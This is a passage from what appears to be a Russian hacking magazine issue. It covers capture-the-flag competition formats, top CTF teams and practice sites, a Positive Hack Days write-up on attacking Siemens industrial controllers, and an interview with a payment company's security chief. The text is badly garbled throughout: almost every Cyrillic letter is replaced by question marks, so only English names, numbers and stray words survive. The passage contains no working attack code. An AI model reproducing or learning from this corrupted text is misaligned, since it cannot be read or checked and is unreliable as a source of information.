??????? ??????? ?????-?????? ???? ?а????????? ???????????? ????????. ??????, ???, ??? ????? ?????? ??а?? ?????????????.
?????? ???? ?????????? ?????? ???? ??????? ?а????а? ??? ???????????
??а???????????? ?????? CTF, ??а????? ???? ???????????. ?а???? ?????? ??а?????-?? ???? ???????? ???????????? ??????, ?а????????? ?????? ???????? ?????????? ???а???.
???а???????????? ??????, ??? ??? ??? ???? ?????? ???????? ?а???? ?? ???????? ??????????? ????. ??? ????????? ???????? ??????????? ????????????, ??????? ????????? ?????? ??а??????????. ?????? ????? ??? ?????-??
?????? ???а??????? ??????? ??????? ?????????? ??а???? ????? ?????????
??????????. ??? ?????????? ?а???????? ??????. ??а????????? ????? ???
???????? ?а?????????, ???????? ?? ?????????? ???? ?а????? ?? ??, ?а?????
?????? ?????. ???????????? ????? ??????? ??????, ??? ?????? ???????? ?????????. ????????????????? ?а?????????? ??????? ??????????? ?а????????
?а????? ????????????? ??а???? ?а????.
??? ?????? ????, ???а????????? ???. ?????????, ??? ???? ??????, ???????
????????? ?????? ????????? ???????. ??? ????????????, ???????????? ????? ???????? ???? ?а??? ???? ?????????? ?????????, ?а??????? ??????????
????. ??а????????? ????? ??? ??????? ??? ????? ?????????????????? ????????? ?а?????? ????, ???????????? ?а?????????? ??????. ???? ???? ????????
?а???, ??????? ?????????? ?а???? ?а????, ?? ??? ???????, ??? ?????? ???????? ?????. ????? ????? ?? ????? ???????????? ??????? ?????? ?а????????? ???
?а??????.
???????? ????? ?а??? ??????????? ???????????, ??????? ???????? ?????? ????? ?????????. ???? ??????? ??????? ????? ??????????, ?? ??? ??????
???????? ????????? ???? ?а????? ??????? ????????? ????.
?????????, ??? ??? ??а????? ??????? ???? ?а??????????? ??????. ????????, ????????? ?????, ???? ??????? ??????? ?????? ??????????? ???????,
???? ?????? ??????? ?а??????? ?????????? ??????? ??? ???????? ???? ????.
????? ???????????? ???????, ??? ?????? ?а??????? ??????????. ???? ??????
???????? ?????????, ??????? ???????? ???? ??а??????. ???? ???, ?? ?а??????
??? ????????????? ??а???????? ??????.
?????? ????? ??а??????, ???? ?????? ??? ????? ?а??а?????. ??? ??????????? ??а????? ??????, ??????? ???????? ?а???????? ?????? ??????. ???????
???а??????? ???? ????? ????? ?????? ???????? ??а???????????? ?а????????????. ?а???????, ?а???????, ????? ???? ???????? ????? ??????, ??????? ????
?????? ???? ????, ?а????? ?а??а????. ????? ??? ??????????? ????? ?а????????
???????, ?а??????? ??? ??????? ????.
????? ????????? ??????? ???????? ????? ????? ?????? ?????? ??а???????? ????. ????????, ???? ????? ????? ??????? ??????? ????? ??????????
?а???????? ?а??? ????????, ?? ???????? ???? ????? ????????? ?????? ??????
???????, ????????? ??????? ????? ???????????????? ?????? ?а??????? ????????. ???? ???? ?а??????? ??????????? ???? ??????? ?а??а??????? ????? ?????? ??????????? ?????? ?????, ?? ??? ??????? ????? ????????? ??????????.
??? ????? ??????????? ???????, ??? ??????? ??а????? ??????? ????? ??а???????, ??????? ?а??? ????? ??????????.
???????????, ??????? ????????????? ????? ??????, ????? ???????? ????
????, ???? ???????????. ?а??? ??????????, ??? ??? ?????? ?????? ??????
????? ???????????? ????, ??? ?? ??????. ?а?????, ???????а? ?????? ?????
?????? CTF ????????? ?а??????????? ??????? ?а???????????? ?а???.
??а??? ????? ?????
?а?????????? ???????????? ?????? ????? ????? ?????????, ???а?????? ?????? ????????? ?????. ??? ?????,а????? ????????? ?????? ????????, ??? ??????
?? ????? ???????? ?а??????. ???? ????? ????? ???????? ???????? ???: 322d4
e510659dc1e3a9d5b6d6df6c3e0. ??а????? ?? ???????????? ????? ?????????
?????????? ????? ??? ?????.
TASK-BASED CTF
??? ???????? ?????????? ??? CTF, ????????? ?? ????? ?????? ?а??????????.
?????? ???? ????? ?????? ???? ?????, ??????? ?????? ???????????? ???????.
??а??????? ??????? ???? ????а? ???? ???, ??????? ???????? ????. ??????
?а????? CTF ???? ????????? ????? ??????? ?а?????? ??а????? ??????????. ????? ????????? ??а???????? ??????????.
Reverse ?а???????????? ?????? ???????. ?? ?????? ???????? ?а???????
?????-?????? ???????????????? ????????? ??? ????????. ???? ???????????
???????? ?а?????? ?? ??????, ???-?? ???????? ??а??? ??? ???????? ??????.
Exploit ?а???????????? ????????? ???????????. ???? ????? ????????? ????? ?????????? ?а????????? ???аLinux. ???а???????, ??? ?????????? ??а????? ???????????? ????? ??? ????, ?????????? ????????? ?????? ?а????????. ?????
?????? ???????? ???????? ???????, ????? ASLR, DEP ??? Canary, ???????
???? ???? ??????.
Webа? ??????? ??а???-????????????. ??? ????? ???? ??? ??????а? ??????? ??аSQL Injection, XXE ?аRCE, ?????????? XSS (??? ??а????? ??????? ????????? ??????????? ???) ?а???????????? ?а?????? ??????????. ?????? ?????????? ????? ?????? ?а??? ????, ?а????? ??????????? ?а???????? ?????. ?????
???????????? ????????? ???????????? WAF, ??????? ??????????? ?????????
???????.
Cryptoа? ??? ???? ????????? ??????? ????????????? ?а?????????? ????????? ???????? ?????? ????????????????? ??????????. ???а???????, ????????
?????? ??????????, ?????? ?а???? ????? ???????? ?????????? ??????-??????
??????? ???????????????, ????????? ?????.
Stegano (?????????????). ?а???? ?????????? ????????? ???????? ????????
??????? ?????????? ??а??????-?????? ??????????????? ?????, ?????????,
?????? ??? ?????? ????-????. ????????? ??????? ???????????? ?а??????????????????.
Forensic. ????????? ????????? ????????? ??????? ??а????????????? ?????????? ?а?????? ??????? ?а??????. ?????? ????? ????????? ???????, ????????? ?а??????????????? ????????? ?????? ?а??????? ????????. ????? ?????????? ????????????? ?????????? ??????? ??? ????? ???????.
PPC ? Professional Programming and Coding. ??? ???????? ??а???? ??????????? ????????????????, ??а?а????? ?????????? ?????. ??? ????? ???? ????????? ??? ??????: ??????? ?а????????? ??????? ??? ???? ???а????????? ?а?????????? ????????? ??? ???????? ??????.
?а????? Misc ???????? ????? ???????, ??????? ??а????????? ?а?????? ???????. ??? ????? ???? ?а???????????? ????????, ?а?????-?????? ??????????????? ??????? (????????, л????????? ????? ?????? IT-?????, ??????? ???????
?????╗)а? ??????, ???, ??а??? ?????? ???????? ?а?????????????.
?????????? ?ал??????????╗а? ????? ?????? ?????????????? ???????
??аCTF. ???а??????? ??а??? ????? ???? ?????? ?????????? ???????
?а??????????? ??а????????? ??????? ??а??? ???? ?????? ?????????? ??????.
????? ????? ????? ????????????, ?а???? ??????? ????? ???????????? ????????? ?????? ?????????????????? ??????.
???????? ?????????? task-based CTF ?????? ??????. ????????, ?????
??????? ??????? ????? ??????????? ??а???? ??????? ????? ???????. ??? ?????? ???, ??? ???????, ???????? ??????? ??????, ???????? ??????????????
?????. ?????? ?а????? ???? ???????? ???????а? ??? ????? ?????? ???????,
??? ??????? ?????? ?????? ?а??? ?а????? ?????????.
MIXED
?????????? CTF, ??????? ?????????? ????? attack-defence ?аtask-based:
???????? ????????? ??а?????? ???????? ???? ??????? ?а????????? ?????,
??а?а?????? ???????. ?а???? ?????? ??????? ?????????? ????? ???? ??????
?а?????????????? ???? ???????????? ?????????????. ????? ?????? ????? ???? ????????? ??аPHDays 2014. ?????? ?????????? ??????? ??а?????????
????????, ?а??????????? ?а???????? ???? ??а???-?? ??????.
KING OF THE HILL
л???? ????╗ ?а???????????? ??????? ??? CTF,а??? ???? ?????? ??????? ????????? CTF. ???????? ???? ????? ???????а? ???????? ???????, ??????????? ??а??? ?а??а???? ?????? ?????????? ??????????? ??????????. ????? ?а???,
??? ?а???????????? ?????????? ??????? ??????? ????????? ????????????
?а????? ??а????????? ??????? ?????????? ??а?????.
??????? ??? ???? ????????????
?а???? ?????? ?????? ?????????? ???а??????? ???? CTF, ?а?? ?а?????????.
?????????? ??, ???а???????, ???????, ??????? ???? ????????? ????????? ?а???????? ?????????????. ?????? ?????? ???? CTF ?а?????? ?????????? ?????
????? ??а????? CTFtime.
????? ?????? CTF ?а???, ??????????, ????? DEF CON CTF (attack-defence).
?? ???????? ?а???-?????? ?????? ??????. ???а???????, ?а??? ????????? ??????????-???????? ?????????? ?????? ??а?????? ?????, ????????? ?????????? ???????????? ?а??????? ????. ????? ?????? ?????????? ????? DEF CON
Quals CTF (task-based), ??????? ?????????? ?а???. ????????? ?????а? ?????
?????? ???????????? CTF, ??????? ?а?????? ???? ???????? ?????? DEF CON
Qualifying Contest.
?????? CTF ???????? ?а?а??????. ??????????? ??а??? ????????????, ?????? ???? ???? ????????????, ??????? ???????? ??а????????????? ??????,а?
RuCTFE ?аPHDays. RuCTFEа? ??? attack-defence CTF, ??????? ?????????? ???????? HackerDom. ?? ????? ????? ??????? ??????? ????? ?????????????
CTF, ?, ???а?????????, ?????? ??аRuCTFE ?а??????? ??аDEF CON CTF.
PHDays ?????????? ???????? Positive Technologies. ??? ?????? ???????????? ??????? ?а???? ?аtask-based, ?аmixed ????????. ????????? ????? ??
??? ?????????? ???аDEF CON CTF.
??а?????????? ???????????? CTF ???????? ????????? RuCTF (?? ??????
?аRuCTFE) ?аVolgaCTF. ?а???????? ??? ???????? ???? RCC.
???????? ??????? ??а????? CTF
??????? ?????? ????? ????? ??а????? CTFtime. ??? ??????? ??????? ??а?????? ????????? ??????.
1. dcua (???????)
2. p4 (??????)
3. Dragon Sector (??????)
4. 217 (???????)
5. Plaid Parliament of Pwning (???)
6. Tasteless (?????????????????)
7. LC?BC (??????)
8. Shellphish (???)
9. int3pids (???????)
10.TokyoWesterns (??????)
?а?????? ??а???? ?????? ???? ??????????? ???????, ???? ??????? ?а??????
???????. ???? ???????? ?а????????????? ????????, ?? ???? ?????? ??? ??а??????, ??????? ?????? ?????????? ?????? ??а?????????? ?????.
??а?????? ?????? ???????? ???????? ?????????? ???????а? LC?BC (??????????? More Smoked Leet Chicken ?аBalalaikaCr3w), Bushwhackers (???????
??а???? ???), Rdot.org (??????? ??а???? ???????????? ??????), SUSlo.PAS
(??????? ??а?????????????? ???????????????? ????????????), Antichat (??????? ??а???? ???????????? ??????), SiBears (??????? ??а???? ???????? ???????????????? ????????????).
??? ??????? ??????? ??аDEF CON 2014
??? ?????????, ????? ???? ??????????? ?аCTF
???а?????????? ????, ??? ????? ????????? ???????????? ?????? ????????
?????? ??а????????, ??????? ????????? ?а????? ??????????. ?????? ?????, ??????? ?????????? ????????? ?а???? ????, ????? ????, ?а???? ?а??????????
???????? ?? ???????? ??а???????.
?а????????? ??? ??? ??? ????? ????????? ?????? ??????????, ???? ?а????????????.
???? ???? ??????? ??аattack-defence, ?? ????? ?????
???? ??????????????, ????????? ??? ????????? ?????
??????.
???? ?? ????? ?????????? ?а?????????????? ????????????, ?а??????? ????????? ??????????? ?а?????WWW
????, ?? ???? ?????????? ???????????? ?а?????????ringzer0team.comа?
??? ???????? ?а???????????? ????????????. ???????
???? ?а????? ???????
?????? ??????????? ??????????? x86 ?аx64, ?????? x64
????????? ??а?????
?а?????? ????? ??? ????. ????? ??а???????????? ????
?????? ?????.
ARM. ?а??????????? ??????????? ??????? ?????????????????? ???????
????????.
????? ???????а? ??? Linux, ??а?????? ?????? ?аWindows
(? ???????? ?а??????? ?а?????????). ?а?????? ????
pwnable.krа? ???а???,
?????? ???? ??а?????, ????? ??????????? ?????????,
??? ????? ???????????
?а????????????.
??а??? ???????? ?????? ?а??????.
?????? ??????????? ????????? CTF
???????????? ?????? ????????? ?аCTFа? ?????????
??????????? ?аCTF. ???????? ??? ????? ???????? ?????????? ?а??????????, ???????? attack-defence,
??а???а????? ?????. ????? CTF ?????? ?????????? ?????? ??????.
??? ??????? ?????? ??????? ??????? (writeup??)
?а??? ????????? ????????????а? ??а??? ????? ?????????? ????? ???????????. ?????? ??????? CTF,
???? ??????????, ??? ???????? ?????? ??????????. ?? ?????? ?????? ????? ????? ??а????? captf.com
?а??????? Practice.
??????????? ??????
ahack.ruа? ???? ???????
?????? Beched. ???
????? ????? ?????
?????????? ???????
??? ???.
ftp.hackerdom.ru/
ctf-images/а? ???????
???? ???а???, ??? ?????
??????????? ?аattackdefence. ??а??????
??????? ?????????
??а???? ?????????
RuCTF ?аRuCTFE.
COVERSTORY
CAPTURE
THEаFLAG
?????? ??????
???а????? ????
??????????
???????????
??????? ???????????? ??а???????
?????? ??????? ???????????? ??а???????
?а???????????? лCityF: ??????????????╗,
????????? ?а?????? Positive Hack Days 2016
CityF: ????? ???а??????? ??????
?????? ?????? ?а????????? ??????????? Positive Hack Days 2016. ??, ????????, ??? ????? ?????? ?а??????? ?а?????? ?а???, ???а?????????? ?????????
??а???? ??????? ???????? ???????? ??? ??????? ?а?????????? ??? ?????????
лCityF: ??????????????╗. ??????? ????????, ???а??????? Evil Dwarfs, ????????? ??а???? ???????, ????????? ??? ???? ??????? ??????? ?????? ?????? ??????????? ??????.
?????? ???? ???????????? ????? ?а???? ?????? ?????????? ??????????????, ??? ???а???? ???????? ?а???????? ?а????????. ????????, ?????? ??????? ??а???? ?????. ??????? ??а??????????????? ????????? ?????? ????????
??а????????? ???? ??????а? ????????? ?а??? ?а????? ???????.
????? ???????? ????????? ?????? л??????????╗ ???? ??????? ??????
???а??????????? ???????????? ????????. ????????, ???????????? POST-???????? ?а????????????? ?????? ?????? ???аURL. ?а?????????? ?????????
??а????? ??а???????????? ???????? ????????? ?аPOST-????????, ??а???????
?????? ???а?????????? ??????????????. ?а?????? ?????????, ????? ?????
???, ???????? ?а???????? ???????? ?а?а??????????????? ???????? ;). ?а?????
????????????? ???????????? ???????? ?????????, ?а??? ?????? ??????? ?????????? ???????????? ????? л???????????╗ ??????.
?????? ???? ??????? ?а???????? ??????? ?а??????? ???????. ?????????
??????????? ???????? ?????? ?а?????????? SIPROTEC4 ????? Siemens, ??
???а?????? ?????? MMS (???????? ???61850) ???????????????? ????????? ??????? ??????????. ??????? ????????? ????????? ?а??????? ????????????? ??????????, ??????? ????????? ??????????????? ??????????. ?? ??????????? ?????????? ?????????? ??а?????? ?????? (??? ???? ??????????
??а????? ??????) ?а????? ???????????? ????? ????????????? ??????????
?а?????????????. ????????? ??????????? ?????? MMS, ?? ????? ??????????
??????????? ???????. ??? ??????? ????? ?а?????????? ???????:
1. ?
????????? ??????????? ?????????????? ??????? ?а?????? ?????????????? ????????? ??????????? ?а?????????????? ????????????? ??????;
2. ?
???????? ???????????? ???? ??? 500 ??а??? ???????????, ?? ???? ????????? ??а????? ?????????? ???. ??а????? ???????? ????????? ?????????
??????????;
3. ?
????????? ??????????? ?????????? ???а??а???????????, ??? ???????????
??????? ??????????? ??? ????????.
4.
?????????? ????????? ??????????? SIPROTEC4
????? ???????, ?? ?????? ??????
????? ?????? ???. ??????????, ????
?????? ?а??? ???????????? ??????? ??????????? ??????????? ?а?????
??????. ????? ???? ??? ?????????
???аS7-1500 ????? Siemens, ?а???????? ???????? ???????? ???-??????. ????, ??? ?а???-??????????
???????????? ??????????? ?????????? ?????? ??а???????????, ?? ??????????????? ?????????? ?а???????
??????. ???, ???, ?????? ??? ??а????,
??? ???а?????????? ?????????? ?????? ??а????.
???????? ?????? ??? ??????????.
??????? ??????????? ?а???????????,
?? ??????? ????????? ??а??? ????????? Tia Portal. ???а?????????? ?????? ?а??? ?????????? ??????? ?????????? ?????? ???????????. ?????
SCADA ??????? ????????, ?а???? ????? ???? ??????? ????????. ?а?????
?? ?????? ?????????? ???? ??????? ?а?????? ?а??????????? ????? ???????????.
??а???а????????? ?????????, ??????? ????????? ??????? ?????????? ??? ?????????. ?? ????, ???????
???????? ??? ???, ?? ????????? ????????? ??????? ??????????
????? ??? ???. ??а????? ?? ???????????? ?а???, ???????? ?????????????? ??????? ??? ??????? ???-???? ????? ??????? ??? ????????? ?????????.
???????, ?а??? ??? ???????: ?? ?????????? ????????? ?а??? ??????, ?????
??а???а???? ??????? ???????? ???а?????? ?????? ????. ???? ?????, ???
??а????????? ????? ?????? ???????????? ?????????? ????, ?а?? ?????? ????? ??? ???.
???-????????? ?????????????? ???
???
??а???? ????? ????? ?????????? ?????? ??????? ???????, ??????? ????????? ??а???. ??????? ????? ??????? ?????? ?? ??а?????? ???????? ??????
??а????, ??а?а????????? ????? ????????? ?????????, ??????? ??а?????????
?????? ?а???а???-?? ??????.
?? ???????? ?????? ?????? ?а???????????а? ????? ???????? ?а??????????? ???????. ?????? ??????????? ?а??? ?????а? ???????? ?????????, ?а??????? ???? ????? ????????????? ????????, ?а????????? ?? ??а???. ??а?? ??????
????? ??а?????? ?а??а??? ???? ??а????????? ???????????? ?????????? ??а??????? ?а??? ?????, ??? ?????? ??а????????. ?? ?????? ??а?????????? ?а?????? ?????? ????, ?а????????? ???????? ??? ???? ??????? ??????. ?а??????????
???? ???????? ?????????, ??????? ????????? ??? ???????? ???а?????? ????.
?????????, ?????????????? ???
????? ??? ?????????? ?????? ??а??????????, ??? ???а????? ???? ???? ????????????? ?а??????? ????. ??? ???????? ???????????????? ????????? ????????. ??? ??а????? ???? ??????? ???????? ?????? ???????? ??? ???, ?,
???а????? ?????? ??а???????????, ??? ???????? ????????????.
????? ??а??????? ???????? ?а??а??? л?????╗-??????, ??????? ?? ??а??????
???? ?????????? ?а???? ??а????????. ??? ??а?????????? ???? ???????? ??а??,
??? ?? ??????????? ????, ????????????? ?а????????? ??????.
?а????? ????? ??????? ????? ??????????? ???????????? ?а???? ????, ????
???????? ??а??????????????? ?????? ????. ?? ???????? ????????????? ?????????????, ?а????? ???, ??? ????????? ?????????????? ???????. ???????? ???? ??????? ?а??????? ??????????. ???????! ?а?а???? ???? ????, ????
?а????. ??а????? ??????!
?????
COVERSTORY
?а??????
????????
?аCISO QIWI
????????
?????????
???? ??????, ??? ?????????? CISOа? ??????? ??????. ?????????? ??а????? ???????? ??????, ?????????? ?????????? ?а?????? ?????????? ?????? ???????. ????? ??????????? ???????, isox??, ??????? ??????? ????? ??????.
????-?? ?? ???????? ???а??????? ????????? ???????, ????-?? ???а????????? ???????? ???? ??????????? Vulners,
?а????-??а? ?????? ???а????????? ???? ??а????????. Isox
????????? ?????? ????????? ?а????? ??????, ?а?????,
??а??????????? ?а?а???????? ?? ?а?????. ????, ?????????а? ?????? лisox╗ ???????, ??????? ?????????? QIWI!
?????????
???? ???????
rusanen@glc.ru
?????
1.?????????? nano, ??а???????? Vim
2.????? ????? path traversal ???? ?а???????
3.?????? ??? ?????:
? OS X
? Sublime Text 2
? Canvas
? WSO Shell
? jpeg-payload ??аBlackFan
? subbrute
? pwdump
? ?????????? ?????? ?а32 ?????? ?а256 ????? ?????? ???аBurp Suite ?аFTK
4.????????. ?????? ??
? Gibson Les Paul ? 384 Pre-Historic, ????????? ?а????????????? ??а??????
? Fender Stratocaster
? Gibson SG Standard 2000
5.?????????? ??????????. ????? ??аPorsche 911
??а????? ???? ? ??а????? ????? ??????????. ? ????? ?????.
?а??а????? ????? ???-?? ????????????. ??? ? ?а???? ???????.
? ????????? time attack ???????. ??? ????? ??????? ???? ??а?????
??а?????. ?? ???? ????? ?????? ???????? ??????? ????????? ???? ????.
?а???? ???? Subaru STI, ??? ??? ???а?а????????? ????. ?а??????
?????? ????????? ???????? ????? ??а3000 ????, ??а???? ??а???? ??? ?????
?????? ??а?????. ?а?????? ?????? ?? ?????? ???????? ??????. ?а??? ????????? ???????????, ????? ?????????? ?????? ?????????? ??? ??????? ??????????? ???????? ??????? (Anti-Lag), ??а????. ????? ???? ????? ???-?? ?????, ????? ?????? ?а??? ??????????.
?а?????? ???? ?????????? ????????. ?? ?????????
??? ???????, ??????? ??????
?а????????? ??? ?????????????. ??????? ?а??????, ?а?а????
???????????? ?? ??? ???? ?????. ?? ???? ??? ???????? ????
??? ?????????? ?????? ?а??????, ????? ?????? ?? ??????????????. ??? ???-?? ? ?????????:
?а?????? ?? ???????? ???а????????
?????? ? ???? ??????????????? ???. ????
?????????, ???а???????? ?????????, ????????? ???????.
???????, ???а???? ??? ?а????
????????. ??а?? ?? ?????, ??
???????, ??????? ??? ???, ??????? ? ?а?????? ?а????, ???
??????? ?????????? ????????????? ???????. ?а???? ??? ??
?а?????? ?????????: л????????????? ???????╗ ?ал?????????????? ????????????╗а? ???
???-?? ?????. ? ???????? ???????? ???? ?????? ?аOllyDbg
(? IDA ? ????? ??а???) ?а??????, ??? ?????? ??????????? ??а???????. ?? ????
??а?????????? ??а????????? ?????? ??а????????, ?а????????? ????? ?а????????? ?????????? ??а??????????, ????????? ?аC++ Builder. ???? JMP ?????
??????. ??? ? ?а????? ?а???? ????????.
?????????? ?????? ??????а? ????????? ?? ????? ???????, ??????? ???????????? ?????????????? ??????????. ?аSubaru ?????? ????? ??а?????? ?????????? ???????. ??? ???????????????, ??? ?а???? ??а??????
?????? ??? ????? ?????? ?????????а? ???? ??????? ?а???? Plex. ? ??????
???????: л?а??????? ???????? ????? ???? ???????╗
???? ?????? ?????????? ??? ???????? ?????, ??? ??? Motorola
68000. ??а??????????? ???????? ????????? ????????????: ?????????????
???? ???а????????, ???????????, ?????? ?а?????????? ??????? ??????, ??????? ????????????? ?????? ?а?????, ?а???????? ???, ???????? ??, ???? ?????
??????.
?а??????? ???? ?????-?? ???? ? ????? ??а???? ??????? ?а???????? ????????? ??а?????????? ????. ????? ?? ?????????? ?а?? ????? ????
??а?????? ?????????, URL ???????? ???: /download-file?id=315. ? ?????????? ?????????? 316, 317 ?а?????? ????????????? ???, ??? ????. ????? ??????? ????????? ??? ?аDeveloper Tools, ??????? ???????? ??????????? ?????????! ?????????? ????? ????? ?????? ??????????.
??? ????? ?????????? Developer Tools. ????? ???? devkit ?? ????????? ???????? ???????????????? ???? ????????. ???? ??????? ?????
???????????? XOR ?а????????. ?????? ???? ??? ??????? ??а???????? ????????. ?????? ?? ?????? ?????????????? ?? ????, ??? ????????? ????????,
???, ????? ??а??? ???????????? ???????? ??? ???????, ??? ?????????? magi?
bytes, ?а????????? ??????????? ???? ?????????. ??? ? ??????? ??????? ?а??????????? ??? ???????? ??????? ?а???? ?а??????.
??????? ?? ??? ???????????. ??, ???????, ???? ??? ?????. ???
??? ???? ??? ??а?????? ??? ??????????. ???? ??????????? ??аPHDays ??а???
???? ???????. ?? ?? ????????: л?? ?????????, ??????????, ??? ?? ????????╗,
?а??? ?????. ???? ? ???????????? ???? ????????? ???????. ????????? ????а?
???????? ??????????? ?????? :).
?а???, ???а??? ?????
??? л?????????? ????╗ ??????? ?а????, ??? ? ????? ?а??????? ??????, ??????? ????????? ????????. ?а??????а? ??а???????? ????. ? ????? ??????? ??а????? ?????????????? ?а????? ?????? ??а??? ??????? ?????
??а?????. ?????????? ???????? RHCSS, RHCT ?аRHCE. ??????, ??? ???????????, ??? ?????? ???????????? ??а??? ???. ?а???? ?????? ???? ????? Positive
Technologies.
? ????, ???а???????? ??????????? ?????, ?????, ?????? ??? ?????? Center of Internet Security, ???? ????-?????? ??????? ???????
?а???? ??? ????????? ????????. ??????, ??? ???? ????????? ?а???????,
??? ?, ???????????, ?????????? ?а??? ???? ?????? ???? ???????? ????????????. ?? ????, ?? ????? ????? :).
C?????? ?????? ??????? ??? MaxPatrol, ??а?????? ????? ??, ???
????? ??????? л????? ?????╗. ??? ?????????? ??а?????? ??????? ??????
??а??????, ?а??????? ???-??, ??? ????? ?? ????????? ?????? ???????? ??????
??????????? ??????? ?????????? ????????. ?? ???????????????? ?а?????
???????? (???????? ?????? ?аMail.Ru) ?а????????? ??????????? ?а????? ?????, ???аOVAL. ?а????? ? ??????? ????????? ???а????????, ???? ?????? ??а????? ?????????? ??а??????????? ?а??????????? ?? ?а???????? OVAL-???????,
????????? ???а???????? ????????????.
??????, ? ??????? ?????а??а?????????????? ????????????.
??а??а????? ???????????? ??а????. ??, ???? ??? ????? ?а?????????, ???? ???????? ???????????. ?????-?? ISO, 152-??, PCI DSS, ???????? ??????????? ?????. ?????? ?????? ????? ??? ? ?????, ??? ??? ??? ????????? ???????? ?????? ?а????????. ?а????? ???? ????, ??????? ????????? ??????? ???-??
enterprise security, ????????, ???а??? ??? ?????? ????????. ????? ????? ????
?а?????????, ??а??а?????????, ????? ??? ?????. ??????? ??????? ???????????-????????? ??? ???????????? ?а???? ?а????????, ?? ???? ??а?????????,
????? ??? ??? ?????. ??????????? ???????? ??????? ???? ????????? ??????,
???а??????????, ??? ?а???а?? ??? ?????? ?????????.
??????????? ???????????, ????? ? ???? ???????? ????????????? ????????????. ??????? ????? ?????? ???? ??а???????? ?????????????? ????, ??а??? ?????? ??а???? ??а???????? ????????? ???????????? ??а????
??????? ?а??????? ????????. ??? ???????? ?а?????????? ??????, ?????? ????????? ??? ??. ?а???? ???????? ??а1500 ??????? ?а5000 ????????. ?????,
?????? ?? ??????????! ??? ?????-?? ??????????? ???????? ??а??????. ?????????, ??? ???????? ????? ?? ????? ?????, ????? ????? ISO ?а??? ??? ????????? ????????????.
?а??????, ?????
?а????????
?а???? ??????? ??а????
?????? ???????. ?? ?? ????
???а??а????: ? ??????? ?а????????, ??? ???? ????????? ????????
:). ???а???????, ????? ????? ????????? (Isox, ?? ??????? ???????.а? ????. ???.) ??а???а????
???? ???? ??.
? ????? ????? ????????
?????. ????? ???????а? ??????
??????????? ????? ?????? ??????, ??? ?? ?????????, ??? ????-??
???????? ?а????????? ???? ???
?????? ???? ????????. ??? ??????,
??а???????? ??? ??а????????, ?????? ??а?????????? ???? ??????,
?а??а?????????? ???? ?????.
????? ?????? ?????????
??????. ????? ?????????? ????????: ????? ?????????? ????, ???????????, ?????????????. ?????
??????????? ?????? ?а??? ????????????, ??????? ?????????? ?????? ?а???????? ??????.
???? ??а????? ?????????? ???? ????. ?? ??а????? ??а???????? ??????
??????, ????? ??????, ???а?? ???????. ????? ?а???? ??а????????. ???, ????????, d0znpp. ?а???? ??????? ???? ?????, ?? ????? ?а??????? ??????. ?? ?????? ?а??? ??????? ????? ??а?????? ????????, ????????????? ?а??????? IoT.
?????, ???????? ?????, ???????! ??а?? ?? ?????????, ???? ??????? ??а?????
???? ??????????.
?????, ??????? ?????? ???? ??????? QIWI,а? ??? ??????-?????.
??? ??а?????????. ???? ??? ?а????? ?а????????, how to, ??а?????????? ?????
??????????????, ??????? ??????????? ???а??? ?????? ?????. ???????, ???-??
???? ??????? ?????, ??????? ?????????? ????? ???????, ???????. ??? ??? ?????, ??? ?????? ?????, ??? ??????, ?, ??????, ???? ????? ???? ??а??????????
??????. ??? ??? ????, ??? ??, ???? ?? ?????????. ??, ??????, ? ??а???????, ???
??? ??????, ??? ??? ??????, ?? ????? ?????? ??а????????.
?????? ???????? ?????? ????????, ??????? ??????? ???????,
??а?? ??а??????????. ?? ?????? ??????? ???????, ??? ?????????? ????.
???? ?? ?? ??а?????????????? ?а??а?????????? ?? ????, ?? ??а????, ?? ????
??? ????????. ??? ??? ????? ?????????, ?а??? ???????? ????.
????? ??????? ?????? ??а???? ????? ??????????. ?? ???????????
????? ????? ??????. ????????, ???? ?а???? Ruby on Rails, ?а??? ????????????
???????? ?? SQL-????????, ?? RCE. ?а????? ???-?? ????? ??????? ??? RCEа?
??? ???????????. ????? ????????? ????? ?????? ?а?????????? ???а? ??? ???
?????????, ?а???? ????? ??????. ???? ??а????? ???? ??????????. ?????? ????? ??????? ???????? ???????? ??а???-???. ????? ?????????? ?????????,
???? ?а???? ?а??????? ??????, ????? ?????????
?а?????? ???? ????????а? ??? ??????? ????? ?а???? ???????????????. ??? ??????? ??а?????? ?а???, ??? ??????? ????? ????????? ???????,
??????? ???????? ?? ???????. ?а??а????????, ????????? ?????? ????????
???????? ?а??????? ?? ?????. ???, ?? ?? ?????? ????????, ??? ?????????????
??????????? ??а????????? ??? ???? ?????????. ?а?а??? ??????? ????????
???? ?????.
?????????, ??? ???? ??а??????,а? ??? ????????? ????. ????? ????
??????????, ???? ?????? ?????????????????, ????? ?????????. ??????
?а????????? ??????? ??а????????? ?а???, ??????? ???? ???????? ???????. ???
?? ??????? ??????????: ???? ?? ????? 10 000а000 ????????, ?? ??? ???? ????? ?????? ????????? ???а??????? 9 999 999 ????????, ????? ???? ?????, ?а???
??? ????????? ?а???????? ?????.
?а????? ?????? ?????-?? ??????? ????????????????? ????????? ?а?????????? л?╗ ??? ????. ???? ??а???????? ????????, ??? ????? ????????? ?????????????? ???? ???. ?а????? ?????????? ????? ?????????????? ???????????. ??? ?????? whitehat??, ??????? ????? ???? ????, ?а???
????? ?????? ?? [????????????]. ?а??а?? ??????? ??? ???????????? ????????
?а???? ???? ???????????. ??? ???, ??? ?а??? ?а??????????? ??? ??????? ??????. ????, ???? ??а?????? ???.
??????????? ??????? ?????????? ??????????. ?? ???-?? ????????
?а????? ?? ????? ???? ????????????: л? ????????! ? ???????! ?? ?????? ??????, ???а? ????!╗ ???????????? ??????, ???????, ????????, ?а????????? ???????? ?а??????? ??? ?????? ???????? ??????. ???? ???????? ?????????? ?????,
??????? ??а????????? ?????? ?????? ???????, ??? ?????????? ??а??????????.
?????? ?????? ??а??????. ??? ?????? ?а???, ???а???????? ???? ??????. ???? ??? ???? ??? ???????? ???? ????????? ?????????????? ????????,
??? ???????? ?а??????, ????? ???а????? ??????????? ??????????, ????? ??
??а?????? ???? ?????????. ??, ??? ??????, ??а????? ??????? ??а?????? ?а??????? ????????. ????????, ??????? ???????? ???? ???, ?????? ???? ???. ???????, ??????? ??? ???????? ??????? ??а??, ????? ????? ???????? ??????????????, ????? ??????, ??? ??? ??????, ??????? ?? ????????, ??????????
?а???? ???????.
???????, ???? ???? ??а???????. ????????, ??????? IBM, ?а?а??? ???
bug bounty. ?? ????? ?а???? ??. ??а??? ??а????, ??? grey: ?? ??????? ????
????. ????? ????, ????????? ??а??? ?а????? ??????. ?????? ????, ????? ??
??????? ???-?? ???? ??????. ????? ????? ???? ?????? ???? ?а????? ???????
